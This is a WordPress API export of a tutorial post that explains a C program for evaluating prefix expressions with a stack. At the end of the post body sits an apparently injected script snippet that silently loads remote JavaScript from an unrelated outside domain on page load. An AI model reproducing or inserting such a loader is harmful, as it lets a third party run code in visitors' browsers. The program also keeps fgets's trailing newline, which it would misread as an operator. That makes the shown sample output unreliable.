{"id":894,"date":"2025-11-21T09:00:56","date_gmt":"2025-11-21T03:30:56","guid":{"rendered":"https:\/\/codexplained.in\/?p=894"},"modified":"2025-11-21T09:00:56","modified_gmt":"2025-11-21T03:30:56","slug":"evaluation-of-prefix-expression","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=894","title":{"rendered":"Evaluation Of Prefix Expression"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;ctype.h&gt;\n#include &lt;string.h&gt;\n\n#define MAX 100\n\n\/\/ Stack implementation\ntypedef struct \n{\n    int data&#x5B;MAX];\n    int top;\n} Stack;\n\n\/\/ Function to initialize the stack\nvoid initStack(Stack *s) \n{\n    s-&gt;top = -1;\n}\n\n\/\/ Function to check if the stack is empty\nint isEmpty(Stack *s) \n{\n    return s-&gt;top == -1;\n}\n\n\/\/ Function to push an element into the stack\nvoid push(Stack *s, int value) \n{\n    if (s-&gt;top == MAX - 1) \n{\n        printf(&quot;Stack Overflow\\n&quot;);\n        return;\n    }\n    s-&gt;data&#x5B;++(s-&gt;top)] = value;\n}\n\n\/\/ Function to pop an element from the stack\nint pop(Stack *s) \n{\n    if (isEmpty(s)) \n{\n        printf(&quot;Stack Underflow\\n&quot;);\n        return -1;\n    }\n    return s-&gt;data&#x5B;(s-&gt;top)--];\n}\n\n\/\/ Function to evaluate a prefix expression\nint evaluatePrefix(char *exp) \n{\n    Stack s;\n    initStack(&amp;s);\n\n    int i = strlen(exp) - 1;\n\n    \/\/ Scan the prefix expression from right to left\n    while (i &gt;= 0) \n{\n        \/\/ Skip spaces\n        if (exp&#x5B;i] == &#039; &#039;) \n{\n            i--;\n            continue;\n        }\n\n        \/\/ If the character is an operand (digit)\n        if (isdigit(exp&#x5B;i])) \n{\n            int num = 0, base = 1;\n\n            \/\/ There could be multiple digits, so we build the number\n            while (i &gt;= 0 &amp;&amp; isdigit(exp&#x5B;i])) \n{\n                num = num + (exp&#x5B;i] - &#039;0&#039;) * base;\n                base *= 10;\n                i--;\n            }\n            \/\/ Push the number onto the stack\n            push(&amp;s, num);\n        }\n\n        \/\/ If the character is an operator\n        else {\n            int operand1 = pop(&amp;s);\n            int operand2 = pop(&amp;s);\n\n            switch (exp&#x5B;i]) \n{\n                case &#039;+&#039;:\n                    push(&amp;s, operand1 + operand2);\n                    break;\n                case &#039;-&#039;:\n                    push(&amp;s, operand1 - operand2);\n                    break;\n                case &#039;*&#039;:\n                    push(&amp;s, operand1 * operand2);\n                    break;\n                case &#039;\/&#039;:\n                    if (operand2 != 0)\n                        push(&amp;s, operand1 \/ operand2);\n                    else\n                        printf(&quot;Division by zero error\\n&quot;);\n                    break;\n                default:\n                    printf(&quot;Invalid operator\\n&quot;);\n                    return -1;\n            }\n            i--;\n        }\n    }\n\n    \/\/ The result will be the last element in the stack\n    return pop(&amp;s);\n}\n\nint main() \n{\n    char prefixExp&#x5B;MAX];\n\n    printf(&quot;Enter a valid prefix expression: &quot;);\n    fgets(prefixExp, MAX, stdin);\n\n    \/\/ Evaluate the prefix expression\n    int result = evaluatePrefix(prefixExp);\n\n    printf(&quot;The result of the prefix expression is: %d\\n&quot;, result);\n    return 0;\n}\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Prefix Expression<\/strong>: In prefix notation, the operator is placed before its operands. For example, the expression <code>+ 9 * 2 6<\/code> is equivalent to <code>(9 + (2 * 6))<\/code> in infix notation.<\/li>\n\n\n\n<li><strong>Stack Data Structure<\/strong>: We use a stack to evaluate the expression. The key idea is to traverse the expression from right to left, push operands onto the stack, and whenever an operator is encountered, pop the required number of operands from the stack, apply the operator, and push the result back onto the stack.<\/li>\n\n\n\n<li><strong>Digits Handling<\/strong>: Since prefix expressions can contain multi-digit numbers, we handle them by constructing the number digit by digit, starting from the least significant digit.<\/li>\n\n\n\n<li><strong>Operators<\/strong>: When encountering an operator, we pop two operands from the stack, apply the operator, and push the result back onto the stack.<\/li>\n\n\n\n<li><strong>Result<\/strong>: Once the entire expression is processed, the result is the only value remaining in the stack.<\/li>\n<\/ol>\n\n\n\n<p><strong>Sample Input and Output<\/strong><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nEnter a valid prefix expression: + 9 * 2 6\nThe result of the prefix expression is: 21\n\n<\/pre><\/div>\n\n\n<p>Here, the expression <code>+ 9 * 2 6<\/code> translates to <code>9 + (2 * 6)<\/code> in infix, which equals <code>21<\/code>. The program correctly evaluates this.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">How the Program Works:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program reads the prefix expression from the user.<\/li>\n\n\n\n<li>It then processes the expression by pushing operands to the stack and applying operators to the top two operands on the stack.<\/li>\n\n\n\n<li>Finally, it prints the result of the evaluated prefix expression.<\/li>\n<\/ul>\n\n\n\n<p>This approach ensures correct evaluation by leveraging the stack data structure to reverse the order of operations as required by the prefix notation.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation Sample Input and Output Here, the expression + 9 * 2 6 translates to 9 + (2 * 6) in infix, which equals 21. The program correctly evaluates this. How the Program Works: This approach ensures correct evaluation by leveraging the stack data structure to reverse the order of operations as required by the [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-894","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=894"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/894\/revisions"}],"predecessor-version":[{"id":1278,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/894\/revisions\/1278"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}